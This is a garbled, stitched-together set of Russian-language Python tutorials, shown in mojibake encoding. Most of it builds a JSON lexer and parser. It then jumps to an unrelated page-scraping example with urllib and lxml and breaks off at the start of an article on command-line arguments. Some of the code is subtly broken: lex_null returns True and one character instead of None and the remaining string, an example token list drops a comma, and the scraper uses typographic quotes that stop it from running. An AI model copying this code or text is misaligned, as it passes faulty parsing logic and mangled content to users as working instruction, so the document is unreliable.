Π—Π°Π΄Π°Ρ‡Π° здСсь — Π²Ρ‹Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΈΠ· Π²Π²ΠΎΠ΄Π° числа, строки, Π±ΡƒΠ»Π΅Π²Ρ‹ значСния ΠΈ null. Если Π½ΠΈ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· Π½ΠΈΡ… Π½Π΅ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚, Ρ‚ΠΎ провСряСм символ Π½Π° ΠΏΡ€ΠΎΠ±Π΅Π» (отступ) ΠΈ ΡΠΈΠ½Ρ‚Π°ΠΊΡΠΈΡ‡Π΅ΡΠΊΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ JSON. Всё, ΠΊΡ€ΠΎΠΌΠ΅ whitespaces, добавляСтся Π² список Ρ‚ΠΎΠΊΠ΅Π½ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ возвращаСтся Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ.

Π’Π΅ΠΏΠ΅Ρ€ΡŒ Ρ€Π°ΡΡˆΠΈΡ€ΠΈΠΌ Π»ΠΎΠ³ΠΈΠΊΡƒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ всС Ρ‚ΠΈΠΏΡ‹ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ Π΄ΠΎΠ±Π°Π²ΠΈΠΌ Π·Π°Π³ΠΎΡ‚ΠΎΠ²ΠΊΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ:

def lex_string(string):
    return None, string


def lex_number(string):
    return None, string


def lex_bool(string):
    return None, string


def lex_null(string):
    return None, string


def lex(string):
    tokens = []

    while len(string):
        json_string, string = lex_string(string)
        if json_string is not None:
            tokens.append(json_string)
            continue

        json_number, string = lex_number(string)
        if json_number is not None:
            tokens.append(json_number)
            continue

        json_bool, string = lex_bool(string)
        if json_bool is not None:
            tokens.append(json_bool)
            continue

        json_null, string = lex_null(string)
        if json_null is not None:
            tokens.append(None)
            continue

        if string[0] in JSON_WHITESPACE:
            string = string[1:]
        elif string[0] in JSON_SYNTAX:
            tokens.append(string[0])
            string = string[1:]
        else:
            raise Exception('Unexpected character: {}'.format(string[0]))

    return tokens

ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ строк

Π”Π°Π²Π°ΠΉΡ‚Π΅ напишСм Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ lex_string. Π’ Π½Π΅ΠΉ ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ, Ссли дальшС послС указатСля (Π½ΡƒΠ»Π΅Π²ΠΎΠΉ символ строки ΠΈ Π΄Π°Π»Π΅Π΅) ΠΈΠ΄Ρ‘Ρ‚ строка. Для этого ΠΌΡ‹ Π² Ρ†ΠΈΠΊΠ»Π΅ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΊΠ°Ρ‚ΡŒ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠ΅ ΠΈ Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠ΅ ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠΈ:

def lex_string(string):
    json_string = ''

    if string[0] == JSON_QUOTE:
        string = string[1:]
    else:
        return None, string

    for c in string:
        if c == JSON_QUOTE:
            return json_string, string[len(json_string)+1:]
        else:
            json_string += c

    raise Exception('Expected end-of-string quote')

ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ чисСл

Π’ процСссС поиска чисСл Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ lex_number ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡ‚Π΅Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠΎ входящСй строкС Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° Π½Π΅ Π½Π°ΠΉΠ΄Ρ‘ΠΌ Π·Π½Π°ΠΊ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠ²Π»ΡΡ‚ΡŒΡΡ Ρ‡Π°ΡΡ‚ΡŒΡŽ числа. ПослС обнаруТСния Ρ‚Π°ΠΊΠΎΠ³ΠΎ Π·Π½Π°ΠΊΠ° ΠΌΡ‹ Π²Π΅Ρ€Π½Ρ‘ΠΌ float ΠΈΠ»ΠΈ int. Π’ случаС, Ссли это Π½Π΅ число, Π²Π΅Ρ€Π½Ρ‘ΠΌ None ΠΈ ΠΈΡΡ…ΠΎΠ΄Π½ΡƒΡŽ строку Π±Π΅Π· ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ.

def lex_number(string):
    json_number = ''

    number_characters = [str(d) for d in range(0, 10)] + ['-', 'e', '.']

    for c in string:
        if c in number_characters:
            json_number += c
        else:
            break

    rest = string[len(json_number):]

    if not len(json_number):
        return None, string

    if '.' in json_number:
        return float(json_number), rest

    return int(json_number), rest

ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ Π±ΡƒΠ»Π΅Π²Ρ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ ΠΈ null

Π­Ρ‚ΠΎ самыС простыС Ρ‚ΠΈΠΏΡ‹ Π΄Π°Π½Π½Ρ‹Ρ… для обнаруТСния:

def lex_bool(string):
    string_len = len(string)

    if string_len >= TRUE_LEN and \
       string[:TRUE_LEN] == 'true':
        return True, string[TRUE_LEN:]
    elif string_len >= FALSE_LEN and \
         string[:FALSE_LEN] == 'false':
        return False, string[FALSE_LEN:]

    return None, string


def lex_null(string):
    string_len = len(string)

    if string_len >= NULL_LEN and \
       string[:NULL_LEN] == 'null':
        return True, string[NULL_LEN]

    return None, string

Π’Π΅ΠΏΠ΅Ρ€ΡŒ лСксСр Π·Π°ΠΊΠΎΠ½Ρ‡Π΅Π½. ΠŸΠΎΠ»Π½Ρ‹ΠΉ исходный ΠΊΠΎΠ΄ ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΉΡ‚ΠΈ Π² Ρ„Π°ΠΉΠ»Π΅ pj/lexer.py.

БинтаксичСский Π°Π½Π°Π»ΠΈΠ·

Π—Π°Π΄Π°Ρ‡Π° синтаксичСского Π°Π½Π°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€Π° состоит Π² ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΈ ΠΏΠΎ ΠΎΠ΄Π½ΠΎΠΌΠ΅Ρ€Π½ΠΎΠΌΡƒ списку лСксСм ΠΈ ΠΎΡ‚Ρ‹ΡΠΊΠΈΠ²Π°Ρ‚ΡŒ Π² Π½Ρ‘ΠΌ ΠΏΡ€ΠΎΡΡ‚Π΅ΠΉΡˆΠΈΠ΅ синтаксичСскиС конструкции языка Если Π² ΠΊΠ°ΠΊΠΎΠΉ-Ρ‚ΠΎ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π°Π½Π°Π»ΠΈΠ·Π°, парсСру Π½Π΅ удастся соотнСсти Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ Π½Π°Π±ΠΎΡ€ Ρ‚ΠΎΠΊΠ΅Π½ΠΎΠ² с синтаксичСскими конструкциями, парсСр Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΡ‚ свою Ρ€Π°Π±ΠΎΡ‚Ρƒ ΠΈ Π²Π΅Ρ€Π½Ρ‘Ρ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎΠ± ошибкС.

РСализация парсСра JSON

Π—Π°Π³ΠΎΡ‚ΠΎΠ²ΠΊΠ° JSON парсСра Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡ‚Π΅Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠΎ Ρ‚ΠΎΠΊΠ΅Π½Π°ΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Π΅Ρ€Π½ΡƒΠ» лСксичСский Π°Π½Π°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€, ΠΈ ΡΠΎΠΎΡ‚Π½ΠΎΡΠΈΡ‚ΡŒ ΠΈΡ… с ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈ, списками ΠΈΠ»ΠΈ ΠΏΠ°Ρ€Π°ΠΌΠΈ ΠΊΠ»ΡŽΡ‡-Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅:

tokens = lex('{"foo": [1, 2, {"bar": 2}]}')
assert_equal(tokens,
             ['{', 'foo', ':', '[', 1, ',', 2, '{', 'bar', ':', 2, '}', ']', '}'])
assert_equal(parse(tokens),
             {'foo': [1, 2, {'bar': 2}]})

Π›ΠΎΠ³ΠΈΠΊΠ° Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:

def parse_array(tokens):
    return [], tokens

def parse_object(tokens):
    return {}, tokens

def parse(tokens):
    t = tokens[0]

    if t == JSON_LEFTBRACKET:
        return parse_array(tokens[1:])
    elif t == JSON_LEFTBRACE:
        return parse_object(tokens[1:])
    else:
        return t, tokens[1:]

ΠšΠ»ΡŽΡ‡Π΅Π²Ρ‹ΠΌ структурным ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ΠΌ ΠΌΠ΅ΠΆΠ΄Ρƒ лСксСром ΠΈ парсСром Π±ΡƒΠ΄Π΅Ρ‚ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ лСксСр всСгда Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ΄Π½ΠΎΠΌΠ΅Ρ€Π½Ρ‹ΠΉ список Ρ‚ΠΎΠΊΠ΅Π½ΠΎΠ², Π° парсСр Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ рСкурсивныС структуры (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π΄Π΅Ρ€Π΅Π²ΡŒΡ).

Π’Π°ΠΊ ΠΊΠ°ΠΊ JSON — Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ сСриализации Π΄Π°Π½Π½Ρ‹Ρ…, Π° Π½Π΅ язык, Ρ‚ΠΎ парсСр Π΄ΠΎΠ»ΠΆΠ΅Π½ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ языка Python, Π° Π½Π΅ синтаксичСскоС Π΄Π΅Ρ€Π΅Π²ΠΎ, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΠΌΠΎΠΆΠ½ΠΎ Π±Ρ‹Π»ΠΎ Π±Ρ‹ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π΄Π°Π»Π΅Π΅ (ΠΈΠ»ΠΈ ΡΠ³Π΅Π½Π΅Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠΎΠ΄ Π² случаС компилятора).

Π“Π»Π°Π²Π½Ρ‹ΠΌ прСимущСством раздСлСния лСксичСского Π°Π½Π°Π»ΠΈΠ·Π° ΠΎΡ‚ парсСра являСтся Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΎΠ±Π° Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π° ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ ΠΏΡ€ΠΎΡ‰Π΅ Π² Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½Ρƒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ.

ΠŸΠ°Ρ€ΡΠΈΠ½Π³ массивов

Массив всСгда начинаСтся с Π»Π΅Π²ΠΎΠΉ ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π½ΠΎΠΉ скобки. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ парсинг массивов сводится ΠΊ поиску элСмСнтов массива, запятых ΠΌΠ΅ΠΆΠ΄Ρƒ Π½ΠΈΠΌΠΈ ΠΈΠ»ΠΈ ΠΆΠ΅ Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΡ… скобок:

def parse_array(tokens):
    json_array = []

    t = tokens[0]
    if t == JSON_RIGHTBRACKET:
        return json_array, tokens[1:]

    while True:
        json, tokens = parse(tokens)
        json_array.append(json)

        t = tokens[0]
        if t == JSON_RIGHTBRACKET:
            return json_array, tokens[1:]
        elif t != JSON_COMMA:
            raise Exception('Expected comma after object in array')
        else:
            tokens = tokens[1:]

    raise Exception('Expected end-of-array bracket')

ΠŸΠ°Ρ€ΡΠΈΠ½Π³ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²

ΠŸΠ°Ρ€ΡΠΈΠ½Π³ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² поискС ΠΏΠ°Ρ€ ΠΊΠ»ΡŽΡ‡-Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Π³Π΄Π΅ ΠΊΠ»ΡŽΡ‡ ΠΎΡ‚ значСния ΠΎΡ‚Π΄Ρ‘Π»Π΅Π½ Π΄Π²ΠΎΠ΅Ρ‚ΠΎΡ‡ΠΈΠ΅ΠΌ, Π° ΠΏΠ°Ρ€Ρ‹ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Ρ‹ запятыми. Поиск продолТаСтся Π΄ΠΎ окончания ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°:

def parse_object(tokens):
    json_object = {}

    t = tokens[0]
    if t == JSON_RIGHTBRACE:
        return json_object, tokens[1:]

    while True:
        json_key = tokens[0]
        if type(json_key) is str:
            tokens = tokens[1:]
        else:
            raise Exception('Expected string key, got: {}'.format(json_key))

        if tokens[0] != JSON_COLON:
            raise Exception('Expected colon after key in object, got: {}'.format(t))

        json_value, tokens = parse(tokens[1:])

        json_object[json_key] = json_value

        t = tokens[0]
        if t == JSON_RIGHTBRACE:
            return json_object, tokens[1:]
        elif t != JSON_COMMA:
            raise Exception('Expected comma after pair in object, got: {}'.format(t))

        tokens = tokens[1:]

    raise Exception('Expected end-of-object brace')

ΠŸΠ°Ρ€ΡΠ΅Ρ€ Π³ΠΎΡ‚ΠΎΠ². ΠŸΠΎΠ»Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ ΠΌΠΎΠΆΠ½ΠΎ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Π² pj/parser.py.

Π‘ΠΎΠ±ΠΈΡ€Π°Π΅ΠΌ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ

ΠžΡΡ‚Π°Π»ΠΎΡΡŒ ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½ΠΈΡ‚ΡŒ лСксичСский ΠΈ синтаксичСский Π°Π½Π°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€Ρ‹ Π² ΠΎΠ±Ρ‰ΡƒΡŽ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ, ΡƒΠ΄ΠΎΠ²Π»Π΅Ρ‚Π²ΠΎΡ€ΡΡŽΡ‰ΡƒΡŽ интСрфСйсу, описанному Π² Π½Π°Ρ‡Π°Π»Π΅ ΡΡ‚Π°Ρ‚ΡŒΠΈ:

def from_string(string):
    tokens = lex(string)
    return parse(tokens)[0]

Π‘ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° Π³ΠΎΡ‚ΠΎΠ²Π°. Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ Π²Π΅Ρ‰ΠΈ, Π²Ρ€ΠΎΠ΄Π΅ тСстов, ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΉΡ‚ΠΈ Π² Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΈ Github.

Π”ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅: парсинг Π² ΠΎΠ΄ΠΈΠ½ этап

НСкоторыС парсСры Π½Π΅ Ρ€Π°Π·Π±ΠΈΠ²Π°ΡŽΡ‚ процСсс Π½Π° лСксичСский ΠΈ синтаксичСский Π°Π½Π°Π»ΠΈΠ·. Для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… языков это ΠΌΠΎΠΆΠ΅Ρ‚ ΡƒΠΏΡ€ΠΎΡΡ‚ΠΈΡ‚ΡŒ парсинг. Для Π΄Ρ€ΡƒΠ³ΠΈΡ…, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ Common Lisp, это позволяСт динамичСски Ρ€Π°ΡΡˆΠΈΡ€ΡΡ‚ΡŒ лСксСр ΠΈ парсСр Ρ‡Π΅Ρ€Π΅Π· макросы.

Данная Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° написана для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄Π°Ρ‚ΡŒ ΠΎΠ±Ρ‰Π΅Π΅ ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅ процСсса парсинга языков для ΡˆΠΈΡ€ΠΎΠΊΠΈΡ… масс. МногиС ΠΈΠ· описанных Π² ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏΠΎΠ² ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ для Π±ΠΎΠ»Π΅Π΅ слоТных Π²Π΅Ρ‰Π΅ΠΉ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, написания ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΡƒΠ΅ΠΌΡ‹Ρ… ΠΊΠ°Π»ΡŒΠΊΡƒΠ»ΡΡ‚ΠΎΡ€ΠΎΠ² ΠΈΠ»ΠΈ Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½Ρ‹ΠΌΠΈ языками.

ΠŸΡ€ΠΎΡΡ‚ΠΎΠΉ парсСр Π½Π° Python | progtask.ru

Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ я ΠΏΠΎΠΊΠ°ΠΆΡƒ Π²Π°ΠΌ ΠΊΠ°ΠΊ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ простой парсСр страницы Π² ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅ Π½Π° Python 3.

Для этого понадобится 2 Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ β€” urllib ΠΈ lxml. ΠŸΠ΅Ρ€Π²Π°Ρ являСтся встроСнной, Π° Π²Ρ‚ΠΎΡ€ΡƒΡŽ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ΄Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ.

Для Π½Π°Ρ‡Π°Π»Π° Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΊΠΎΠ΄ самой страницы. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:

import urllib.request # ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ
response = urllib.request.urlopen(‘http://progtask.ru’).read()
# ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ страницу Π² строковом прСдставлСнии



import urllib.request # ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ

response = urllib.request.urlopen(‘http://progtask.ru’).read()

# ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ страницу Π² строковом прСдставлСнии

ПослС этого шага Π½Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΎΠΉ lxml ΠΈ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ ΠΊΠ°ΠΊΠΎΠΌΡƒ-Π½ΠΈΠ±ΡƒΠ΄ΡŒ элСмСнту Π½Π° страницС. Π”Π°Π²Π°ΠΉΡ‚Π΅ Π²ΠΎΠ·ΡŒΠΌΡ‘ΠΌ ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ ΠΌΠΎΠ΅Π³ΠΎ Π±Π»ΠΎΠ³Π°.
Для мСня самым ΡƒΠ΄ΠΎΠ±Π½Ρ‹ΠΌ способом получСния ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΈΠ· страницы, являСтся xpath. Π•Π³ΠΎ ΠΎΡ‡Π΅Π½ΡŒ просто ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ. ΠŸΠΎΠΊΠ°ΠΆΡƒ Π²Π°ΠΌ Π½Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Google Chrome.

ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ xpath:

  • Π’Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹ΠΉ элСмСнт ΠΈ ΠΎΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ для Π½Π΅Π³ΠΎ ΠΏΡƒΠ½ΠΊΡ‚ мСню Β«ΠŸΡ€ΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ ΠΊΠΎΠ΄Β».
  • Π—Π°Ρ‚Π΅ΠΌ для Π²Ρ‹Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ строки ΠΏΠ΅Ρ€Π΅ΠΉΠ΄ΠΈΡ‚Π΅ Π² мСню ΠΏΡ€Π°Π²ΠΎΠΉ ΠΊΠ½ΠΎΠΏΠΊΠΎΠΉ ΠΌΡ‹ΡˆΠΈ ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅ Copy -> Xpath.

Всё, Π³ΠΎΡ‚ΠΎΠ²ΠΎ. Π’Ρ€Π΅Π±ΡƒΠ΅ΠΌΡ‹ΠΉ Xpath Ρƒ нас Π΅ΡΡ‚ΡŒ. ΠžΡΡ‚Π°Π»ΠΎΡΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ Π½Π΅Π³ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ Π±Π»ΠΎΠ³Π°.

Для этого ΠΊ ΡƒΠΆΠ΅ ΠΈΠΌΠ΅ΡŽΡ‰Π΅ΠΌΡƒΡΡ ΠΊΠΎΠ΄Ρƒ Π΄ΠΎΠ±Π°Π²ΠΈΠΌ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅:

import urllib.request
from lxml.html import fromstring # ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π°Π΅ΠΌ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ lxml

response = urllib.request.urlopen(‘http://progtask.ru’).read()
page = fromstring(response) # Π΄Π΅Π»Π°Π΅ΠΌ ΠΈΠ· нашСй строки ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ для манипулирования страницСй
nameSite = page.xpath(‘//*[@id=»masthead»]/div/h2/a’) # ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ всС элСмСнты с ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹ΠΌ xpath
print(nameSite[0].text) # Π²Ρ‹Π²ΠΎΠ΄ΠΈΠΌ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚



import urllib.request

from lxml.html import fromstring # ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π°Π΅ΠΌ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ lxml

Β 

response = urllib.request.urlopen(‘http://progtask.ru’).read()

page = fromstring(response) # Π΄Π΅Π»Π°Π΅ΠΌ ΠΈΠ· нашСй строки ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ для манипулирования страницСй

nameSite = page.xpath(‘//*[@id=»masthead»]/div/h2/a’) # ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ всС элСмСнты с ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹ΠΌ xpath

print(nameSite[0].text) # Π²Ρ‹Π²ΠΎΠ΄ΠΈΠΌ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚

Как Π²ΠΈΠ΄ΠΈΡ‚Π΅, Π½ΠΈΡ‡Π΅Π³ΠΎ слоТного Π² этом Π½Π΅Ρ‚.
НадСюсь ΡΡ‚Π°Ρ‚ΡŒΡ Π²Π°ΠΌ ΠΏΠΎΠΌΠΎΠ³Π»Π°.

ΠŸΡ€ΠΎΡΡ‚ΠΎΠ΅ руководство ΠΏΠΎ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°ΠΌ ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строки Python | by Артур Π₯Π°ΠΉΠ±ΡƒΠ»Π»ΠΈΠ½ | NOP::Nuances of Programming

Одна ΠΈΠ· ΡΠΈΠ»ΡŒΠ½Π΅ΠΉΡˆΠΈΡ… сторон Python β€” ΡΠΏΠΎΡΠΎΠ±Π½ΠΎΡΡ‚ΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ Π»ΡŽΠ±Ρ‹Π΅ Π·Π°Π΄Π°Ρ‡ΠΈ. Π•Π³ΠΎ стандартная Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° прСдоставляСт достаточно Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ для написания мноТСства ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Ρ… сцСнариСв ΠΈ инструмСнтов. А для получСния Π±ΠΎΠ»ΡŒΡˆΠΈΡ… возмоТностСй ΠΌΠΎΠΆΠ½ΠΎ просто Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ pip install.

ΠŸΠΎΡ‡Ρ‚ΠΈ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ соврСмСнный ЯП способСн ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹ ΠΈΠ· ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строки. Π­Ρ‚ΠΎ ΠΎΡ‡Π΅Π½ΡŒ ваТная функция, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½Π° допускаСт динамичСский Π²Π²ΠΎΠ΄ Π΄Π°Π½Π½Ρ‹Ρ… ΠΎΡ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ, нСзависимо ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, написали ΠΎΠ½ΠΈ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ ΠΈΠ»ΠΈ Π½Π΅Ρ‚.

